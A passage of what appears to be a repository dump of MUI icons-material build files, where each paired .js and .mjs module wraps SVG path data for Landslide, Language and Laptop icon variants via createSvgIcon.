    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 12 8 8H2v14h20l-6-8zm1.53 2.77L6 16.95l-2-.67v-1.89l2 .67 3.95-1.32zM7 10l1.57 2.09-2.57.86-2-.67V10zM4 20v-1.61l2 .67 9.03-3.01L18 20zM17 6V1l-5-1-3 2v4l3 2zm-6-2.93 1.42-.95 2.58.52v2.01l-2.77 1.11L11 4.93zM18.5 7 16 9v3l2.5 2 4.5-2V8zm2.5 3.7-2.2.98-.8-.64V9.96l1-.8 2 .44z\"\n}), 'LandslideOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LandslideOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 12 8 8H2v14h20l-6-8zm1.53 2.77L6 16.95l-2-.67v-1.89l2 .67 3.95-1.32zM7 10l1.57 2.09-2.57.86-2-.67V10zM4 20v-1.61l2 .67 9.03-3.01L18 20zM17 6V1l-5-1-3 2v4l3 2zm-6-2.93 1.42-.95 2.58.52v2.01l-2.77 1.11L11 4.93zM18.5 7 16 9v3l2.5 2 4.5-2V8zm2.5 3.7-2.2.98-.8-.64V9.96l1-.8 2 .44z\"\n}), 'LandslideOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LandslideRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.47 13.79-2.58-1.03L6 15.05l-4-1.54v2.1l4 1.34zm-4.9-2.37L8.6 8.8C8.22 8.3 7.63 8 7 8H4c-1.1 0-2 .9-2 2v1.61l4 1.33zM6 19.05l-4-1.33V20c0 1.1.9 2 2 2h14c1.65 0 2.59-1.88 1.6-3.2l-2.57-3.42zm11-14.4V2.64c0-.95-.67-1.77-1.61-1.96L12.81.16c-.52-.1-1.06 0-1.5.3l-1.42.95C9.33 1.78 9 2.4 9 3.07v1.86c0 .67.33 1.29.89 1.66l1.23.82c.55.37 1.24.44 1.85.19l2.77-1.11C16.5 6.2 17 5.46 17 4.65m.75 2.95-1 .8c-.47.38-.75.95-.75 1.56v1.08c0 .61.28 1.18.75 1.56l.8.64c.58.47 1.38.57 2.06.27l2.2-.98c.72-.32 1.19-1.04 1.19-1.83V9.6c0-.94-.65-1.75-1.57-1.95l-2-.44c-.59-.13-1.21.01-1.68.39\"\n}), 'LandslideRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LandslideRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.47 13.79-2.58-1.03L6 15.05l-4-1.54v2.1l4 1.34zm-4.9-2.37L8.6 8.8C8.22 8.3 7.63 8 7 8H4c-1.1 0-2 .9-2 2v1.61l4 1.33zM6 19.05l-4-1.33V20c0 1.1.9 2 2 2h14c1.65 0 2.59-1.88 1.6-3.2l-2.57-3.42zm11-14.4V2.64c0-.95-.67-1.77-1.61-1.96L12.81.16c-.52-.1-1.06 0-1.5.3l-1.42.95C9.33 1.78 9 2.4 9 3.07v1.86c0 .67.33 1.29.89 1.66l1.23.82c.55.37 1.24.44 1.85.19l2.77-1.11C16.5 6.2 17 5.46 17 4.65m.75 2.95-1 .8c-.47.38-.75.95-.75 1.56v1.08c0 .61.28 1.18.75 1.56l.8.64c.58.47 1.38.57 2.06.27l2.2-.98c.72-.32 1.19-1.04 1.19-1.83V9.6c0-.94-.65-1.75-1.57-1.95l-2-.44c-.59-.13-1.21.01-1.68.39\"\n}), 'LandslideRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LandslideSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.47 13.79-2.58-1.03L6 15.05l-4-1.54v2.1l4 1.34zm-4.9-2.37L8 8H2v3.61l4 1.34zM6 19.05l-4-1.33V22h20l-4.97-6.62zM17 6V1l-5-1-3 2v4l3 2zm1.5 1L16 9v3l2.5 2 4.5-2V8z\"\n}), 'LandslideSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LandslideSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.47 13.79-2.58-1.03L6 15.05l-4-1.54v2.1l4 1.34zm-4.9-2.37L8 8H2v3.61l4 1.34zM6 19.05l-4-1.33V22h20l-4.97-6.62zM17 6V1l-5-1-3 2v4l3 2zm1.5 1L16 9v3l2.5 2 4.5-2V8z\"\n}), 'LandslideSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LandslideTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.57 12.09 7 10H4v2.28l2 .67zm3.96 2.68-2.58-1.03L6 15.05l-2-.66v1.89l2 .67zM15 4.65V2.64l-2.58-.52-1.42.95v1.86l1.23.82zm-9 14.4-2-.66V20h14l-2.97-3.96zm12-9.09v1.08l.8.64 2.2-.98V9.6l-2-.44z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 12 8 8H2v14h20l-6-8zm-7-2h3l1.57 2.09-2.57.86-2-.67zm0 4.39 2 .67 3.95-1.32 2.58 1.03L6 16.95l-2-.67zM4 20v-1.61l2 .67 9.03-3.01L18 20zM17 6V1l-5-1-3 2v4l3 2zm-6-2.93 1.42-.95 2.58.52v2.01l-2.77 1.11L11 4.93zM18.5 7 16 9v3l2.5 2 4.5-2V8zm2.5 3.7-2.2.98-.8-.64V9.96l1-.8 2 .44z\"\n}, \"1\")], 'LandslideTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LandslideTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.57 12.09 7 10H4v2.28l2 .67zm3.96 2.68-2.58-1.03L6 15.05l-2-.66v1.89l2 .67zM15 4.65V2.64l-2.58-.52-1.42.95v1.86l1.23.82zm-9 14.4-2-.66V20h14l-2.97-3.96zm12-9.09v1.08l.8.64 2.2-.98V9.6l-2-.44z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 12 8 8H2v14h20l-6-8zm-7-2h3l1.57 2.09-2.57.86-2-.67zm0 4.39 2 .67 3.95-1.32 2.58 1.03L6 16.95l-2-.67zM4 20v-1.61l2 .67 9.03-3.01L18 20zM17 6V1l-5-1-3 2v4l3 2zm-6-2.93 1.42-.95 2.58.52v2.01l-2.77 1.11L11 4.93zM18.5 7 16 9v3l2.5 2 4.5-2V8zm2.5 3.7-2.2.98-.8-.64V9.96l1-.8 2 .44z\"\n}, \"1\")], 'LandslideTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Language.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2m6.93 6h-2.95c-.32-1.25-.78-2.45-1.38-3.56 1.84.63 3.37 1.91 4.33 3.56M12 4.04c.83 1.2 1.48 2.53 1.91 3.96h-3.82c.43-1.43 1.08-2.76 1.91-3.96M4.26 14C4.1 13.36 4 12.69 4 12s.1-1.36.26-2h3.38c-.08.66-.14 1.32-.14 2s.06 1.34.14 2zm.82 2h2.95c.32 1.25.78 2.45 1.38 3.56-1.84-.63-3.37-1.9-4.33-3.56m2.95-8H5.08c.96-1.66 2.49-2.93 4.33-3.56C8.81 5.55 8.35 6.75 8.03 8M12 19.96c-.83-1.2-1.48-2.53-1.91-3.96h3.82c-.43 1.43-1.08 2.76-1.91 3.96M14.34 14H9.66c-.09-.66-.16-1.32-.16-2s.07-1.35.16-2h4.68c.09.65.16 1.32.16 2s-.07 1.34-.16 2m.25 5.56c.6-1.11 1.06-2.31 1.38-3.56h2.95c-.96 1.65-2.49 2.93-4.33 3.56M16.36 14c.08-.66.14-1.32.14-2s-.06-1.34-.14-2h3.38c.16.64.26 1.31.26 2s-.1 1.36-.26 2z\"\n}), 'Language');"
  },
  {
    "path": "packages/mui-icons-material/lib/Language.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2m6.93 6h-2.95c-.32-1.25-.78-2.45-1.38-3.56 1.84.63 3.37 1.91 4.33 3.56M12 4.04c.83 1.2 1.48 2.53 1.91 3.96h-3.82c.43-1.43 1.08-2.76 1.91-3.96M4.26 14C4.1 13.36 4 12.69 4 12s.1-1.36.26-2h3.38c-.08.66-.14 1.32-.14 2s.06 1.34.14 2zm.82 2h2.95c.32 1.25.78 2.45 1.38 3.56-1.84-.63-3.37-1.9-4.33-3.56m2.95-8H5.08c.96-1.66 2.49-2.93 4.33-3.56C8.81 5.55 8.35 6.75 8.03 8M12 19.96c-.83-1.2-1.48-2.53-1.91-3.96h3.82c-.43 1.43-1.08 2.76-1.91 3.96M14.34 14H9.66c-.09-.66-.16-1.32-.16-2s.07-1.35.16-2h4.68c.09.65.16 1.32.16 2s-.07 1.34-.16 2m.25 5.56c.6-1.11 1.06-2.31 1.38-3.56h2.95c-.96 1.65-2.49 2.93-4.33 3.56M16.36 14c.08-.66.14-1.32.14-2s-.06-1.34-.14-2h3.38c.16.64.26 1.31.26 2s-.1 1.36-.26 2z\"\n}), 'Language');"
  },
  {
    "path": "packages/mui-icons-material/lib/LanguageOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2m6.93 6h-2.95c-.32-1.25-.78-2.45-1.38-3.56 1.84.63 3.37 1.91 4.33 3.56M12 4.04c.83 1.2 1.48 2.53 1.91 3.96h-3.82c.43-1.43 1.08-2.76 1.91-3.96M4.26 14C4.1 13.36 4 12.69 4 12s.1-1.36.26-2h3.38c-.08.66-.14 1.32-.14 2s.06 1.34.14 2zm.82 2h2.95c.32 1.25.78 2.45 1.38 3.56-1.84-.63-3.37-1.9-4.33-3.56m2.95-8H5.08c.96-1.66 2.49-2.93 4.33-3.56C8.81 5.55 8.35 6.75 8.03 8M12 19.96c-.83-1.2-1.48-2.53-1.91-3.96h3.82c-.43 1.43-1.08 2.76-1.91 3.96M14.34 14H9.66c-.09-.66-.16-1.32-.16-2s.07-1.35.16-2h4.68c.09.65.16 1.32.16 2s-.07 1.34-.16 2m.25 5.56c.6-1.11 1.06-2.31 1.38-3.56h2.95c-.96 1.65-2.49 2.93-4.33 3.56M16.36 14c.08-.66.14-1.32.14-2s-.06-1.34-.14-2h3.38c.16.64.26 1.31.26 2s-.1 1.36-.26 2z\"\n}), 'LanguageOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LanguageOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2m6.93 6h-2.95c-.32-1.25-.78-2.45-1.38-3.56 1.84.63 3.37 1.91 4.33 3.56M12 4.04c.83 1.2 1.48 2.53 1.91 3.96h-3.82c.43-1.43 1.08-2.76 1.91-3.96M4.26 14C4.1 13.36 4 12.69 4 12s.1-1.36.26-2h3.38c-.08.66-.14 1.32-.14 2s.06 1.34.14 2zm.82 2h2.95c.32 1.25.78 2.45 1.38 3.56-1.84-.63-3.37-1.9-4.33-3.56m2.95-8H5.08c.96-1.66 2.49-2.93 4.33-3.56C8.81 5.55 8.35 6.75 8.03 8M12 19.96c-.83-1.2-1.48-2.53-1.91-3.96h3.82c-.43 1.43-1.08 2.76-1.91 3.96M14.34 14H9.66c-.09-.66-.16-1.32-.16-2s.07-1.35.16-2h4.68c.09.65.16 1.32.16 2s-.07 1.34-.16 2m.25 5.56c.6-1.11 1.06-2.31 1.38-3.56h2.95c-.96 1.65-2.49 2.93-4.33 3.56M16.36 14c.08-.66.14-1.32.14-2s-.06-1.34-.14-2h3.38c.16.64.26 1.31.26 2s-.1 1.36-.26 2z\"\n}), 'LanguageOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LanguageRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2m6.93 6h-2.95c-.32-1.25-.78-2.45-1.38-3.56 1.84.63 3.37 1.91 4.33 3.56M12 4.04c.83 1.2 1.48 2.53 1.91 3.96h-3.82c.43-1.43 1.08-2.76 1.91-3.96M4.26 14C4.1 13.36 4 12.69 4 12s.1-1.36.26-2h3.38c-.08.66-.14 1.32-.14 2s.06 1.34.14 2zm.82 2h2.95c.32 1.25.78 2.45 1.38 3.56-1.84-.63-3.37-1.9-4.33-3.56m2.95-8H5.08c.96-1.66 2.49-2.93 4.33-3.56C8.81 5.55 8.35 6.75 8.03 8M12 19.96c-.83-1.2-1.48-2.53-1.91-3.96h3.82c-.43 1.43-1.08 2.76-1.91 3.96M14.34 14H9.66c-.09-.66-.16-1.32-.16-2s.07-1.35.16-2h4.68c.09.65.16 1.32.16 2s-.07 1.34-.16 2m.25 5.56c.6-1.11 1.06-2.31 1.38-3.56h2.95c-.96 1.65-2.49 2.93-4.33 3.56M16.36 14c.08-.66.14-1.32.14-2s-.06-1.34-.14-2h3.38c.16.64.26 1.31.26 2s-.1 1.36-.26 2z\"\n}), 'LanguageRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LanguageRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2m6.93 6h-2.95c-.32-1.25-.78-2.45-1.38-3.56 1.84.63 3.37 1.91 4.33 3.56M12 4.04c.83 1.2 1.48 2.53 1.91 3.96h-3.82c.43-1.43 1.08-2.76 1.91-3.96M4.26 14C4.1 13.36 4 12.69 4 12s.1-1.36.26-2h3.38c-.08.66-.14 1.32-.14 2s.06 1.34.14 2zm.82 2h2.95c.32 1.25.78 2.45 1.38 3.56-1.84-.63-3.37-1.9-4.33-3.56m2.95-8H5.08c.96-1.66 2.49-2.93 4.33-3.56C8.81 5.55 8.35 6.75 8.03 8M12 19.96c-.83-1.2-1.48-2.53-1.91-3.96h3.82c-.43 1.43-1.08 2.76-1.91 3.96M14.34 14H9.66c-.09-.66-.16-1.32-.16-2s.07-1.35.16-2h4.68c.09.65.16 1.32.16 2s-.07 1.34-.16 2m.25 5.56c.6-1.11 1.06-2.31 1.38-3.56h2.95c-.96 1.65-2.49 2.93-4.33 3.56M16.36 14c.08-.66.14-1.32.14-2s-.06-1.34-.14-2h3.38c.16.64.26 1.31.26 2s-.1 1.36-.26 2z\"\n}), 'LanguageRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LanguageSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2m6.93 6h-2.95c-.32-1.25-.78-2.45-1.38-3.56 1.84.63 3.37 1.91 4.33 3.56M12 4.04c.83 1.2 1.48 2.53 1.91 3.96h-3.82c.43-1.43 1.08-2.76 1.91-3.96M4.26 14C4.1 13.36 4 12.69 4 12s.1-1.36.26-2h3.38c-.08.66-.14 1.32-.14 2s.06 1.34.14 2zm.82 2h2.95c.32 1.25.78 2.45 1.38 3.56-1.84-.63-3.37-1.9-4.33-3.56m2.95-8H5.08c.96-1.66 2.49-2.93 4.33-3.56C8.81 5.55 8.35 6.75 8.03 8M12 19.96c-.83-1.2-1.48-2.53-1.91-3.96h3.82c-.43 1.43-1.08 2.76-1.91 3.96M14.34 14H9.66c-.09-.66-.16-1.32-.16-2s.07-1.35.16-2h4.68c.09.65.16 1.32.16 2s-.07 1.34-.16 2m.25 5.56c.6-1.11 1.06-2.31 1.38-3.56h2.95c-.96 1.65-2.49 2.93-4.33 3.56M16.36 14c.08-.66.14-1.32.14-2s-.06-1.34-.14-2h3.38c.16.64.26 1.31.26 2s-.1 1.36-.26 2z\"\n}), 'LanguageSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LanguageSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2m6.93 6h-2.95c-.32-1.25-.78-2.45-1.38-3.56 1.84.63 3.37 1.91 4.33 3.56M12 4.04c.83 1.2 1.48 2.53 1.91 3.96h-3.82c.43-1.43 1.08-2.76 1.91-3.96M4.26 14C4.1 13.36 4 12.69 4 12s.1-1.36.26-2h3.38c-.08.66-.14 1.32-.14 2s.06 1.34.14 2zm.82 2h2.95c.32 1.25.78 2.45 1.38 3.56-1.84-.63-3.37-1.9-4.33-3.56m2.95-8H5.08c.96-1.66 2.49-2.93 4.33-3.56C8.81 5.55 8.35 6.75 8.03 8M12 19.96c-.83-1.2-1.48-2.53-1.91-3.96h3.82c-.43 1.43-1.08 2.76-1.91 3.96M14.34 14H9.66c-.09-.66-.16-1.32-.16-2s.07-1.35.16-2h4.68c.09.65.16 1.32.16 2s-.07 1.34-.16 2m.25 5.56c.6-1.11 1.06-2.31 1.38-3.56h2.95c-.96 1.65-2.49 2.93-4.33 3.56M16.36 14c.08-.66.14-1.32.14-2s-.06-1.34-.14-2h3.38c.16.64.26 1.31.26 2s-.1 1.36-.26 2z\"\n}), 'LanguageSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LanguageTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.08 8h2.95c.32-1.25.78-2.45 1.38-3.56-1.84.63-3.37 1.9-4.33 3.56m2.42 4c0-.68.06-1.34.14-2H4.26c-.16.64-.26 1.31-.26 2s.1 1.36.26 2h3.38c-.08-.66-.14-1.32-.14-2m-2.42 4c.96 1.66 2.49 2.93 4.33 3.56-.6-1.11-1.06-2.31-1.38-3.56zM12 4.04c-.83 1.2-1.48 2.53-1.91 3.96h3.82c-.43-1.43-1.08-2.76-1.91-3.96M18.92 8c-.96-1.65-2.49-2.93-4.33-3.56.6 1.11 1.06 2.31 1.38 3.56zM12 19.96c.83-1.2 1.48-2.53 1.91-3.96h-3.82c.43 1.43 1.08 2.76 1.91 3.96m2.59-.4c1.84-.63 3.37-1.91 4.33-3.56h-2.95c-.32 1.25-.78 2.45-1.38 3.56M19.74 10h-3.38c.08.66.14 1.32.14 2s-.06 1.34-.14 2h3.38c.16-.64.26-1.31.26-2s-.1-1.36-.26-2M9.66 10c-.09.65-.16 1.32-.16 2s.07 1.34.16 2h4.68c.09-.66.16-1.32.16-2s-.07-1.35-.16-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2m6.93 6h-2.95c-.32-1.25-.78-2.45-1.38-3.56 1.84.63 3.37 1.91 4.33 3.56M12 4.04c.83 1.2 1.48 2.53 1.91 3.96h-3.82c.43-1.43 1.08-2.76 1.91-3.96M4.26 14C4.1 13.36 4 12.69 4 12s.1-1.36.26-2h3.38c-.08.66-.14 1.32-.14 2s.06 1.34.14 2zm.82 2h2.95c.32 1.25.78 2.45 1.38 3.56-1.84-.63-3.37-1.9-4.33-3.56m2.95-8H5.08c.96-1.66 2.49-2.93 4.33-3.56C8.81 5.55 8.35 6.75 8.03 8M12 19.96c-.83-1.2-1.48-2.53-1.91-3.96h3.82c-.43 1.43-1.08 2.76-1.91 3.96M14.34 14H9.66c-.09-.66-.16-1.32-.16-2s.07-1.35.16-2h4.68c.09.65.16 1.32.16 2s-.07 1.34-.16 2m.25 5.56c.6-1.11 1.06-2.31 1.38-3.56h2.95c-.96 1.65-2.49 2.93-4.33 3.56M16.36 14c.08-.66.14-1.32.14-2s-.06-1.34-.14-2h3.38c.16.64.26 1.31.26 2s-.1 1.36-.26 2z\"\n}, \"1\")], 'LanguageTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LanguageTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.08 8h2.95c.32-1.25.78-2.45 1.38-3.56-1.84.63-3.37 1.9-4.33 3.56m2.42 4c0-.68.06-1.34.14-2H4.26c-.16.64-.26 1.31-.26 2s.1 1.36.26 2h3.38c-.08-.66-.14-1.32-.14-2m-2.42 4c.96 1.66 2.49 2.93 4.33 3.56-.6-1.11-1.06-2.31-1.38-3.56zM12 4.04c-.83 1.2-1.48 2.53-1.91 3.96h3.82c-.43-1.43-1.08-2.76-1.91-3.96M18.92 8c-.96-1.65-2.49-2.93-4.33-3.56.6 1.11 1.06 2.31 1.38 3.56zM12 19.96c.83-1.2 1.48-2.53 1.91-3.96h-3.82c.43 1.43 1.08 2.76 1.91 3.96m2.59-.4c1.84-.63 3.37-1.91 4.33-3.56h-2.95c-.32 1.25-.78 2.45-1.38 3.56M19.74 10h-3.38c.08.66.14 1.32.14 2s-.06 1.34-.14 2h3.38c.16-.64.26-1.31.26-2s-.1-1.36-.26-2M9.66 10c-.09.65-.16 1.32-.16 2s.07 1.34.16 2h4.68c.09-.66.16-1.32.16-2s-.07-1.35-.16-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2m6.93 6h-2.95c-.32-1.25-.78-2.45-1.38-3.56 1.84.63 3.37 1.91 4.33 3.56M12 4.04c.83 1.2 1.48 2.53 1.91 3.96h-3.82c.43-1.43 1.08-2.76 1.91-3.96M4.26 14C4.1 13.36 4 12.69 4 12s.1-1.36.26-2h3.38c-.08.66-.14 1.32-.14 2s.06 1.34.14 2zm.82 2h2.95c.32 1.25.78 2.45 1.38 3.56-1.84-.63-3.37-1.9-4.33-3.56m2.95-8H5.08c.96-1.66 2.49-2.93 4.33-3.56C8.81 5.55 8.35 6.75 8.03 8M12 19.96c-.83-1.2-1.48-2.53-1.91-3.96h3.82c-.43 1.43-1.08 2.76-1.91 3.96M14.34 14H9.66c-.09-.66-.16-1.32-.16-2s.07-1.35.16-2h4.68c.09.65.16 1.32.16 2s-.07 1.34-.16 2m.25 5.56c.6-1.11 1.06-2.31 1.38-3.56h2.95c-.96 1.65-2.49 2.93-4.33 3.56M16.36 14c.08-.66.14-1.32.14-2s-.06-1.34-.14-2h3.38c.16.64.26 1.31.26 2s-.1 1.36-.26 2z\"\n}, \"1\")], 'LanguageTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Laptop.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 18c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2H0v2h24v-2zM4 6h16v10H4z\"\n}), 'Laptop');"
  },
  {
    "path": "packages/mui-icons-material/lib/Laptop.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 18c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2H0v2h24v-2zM4 6h16v10H4z\"\n}), 'Laptop');"
  },
  {
    "path": "packages/mui-icons-material/lib/LaptopChromebook.js",
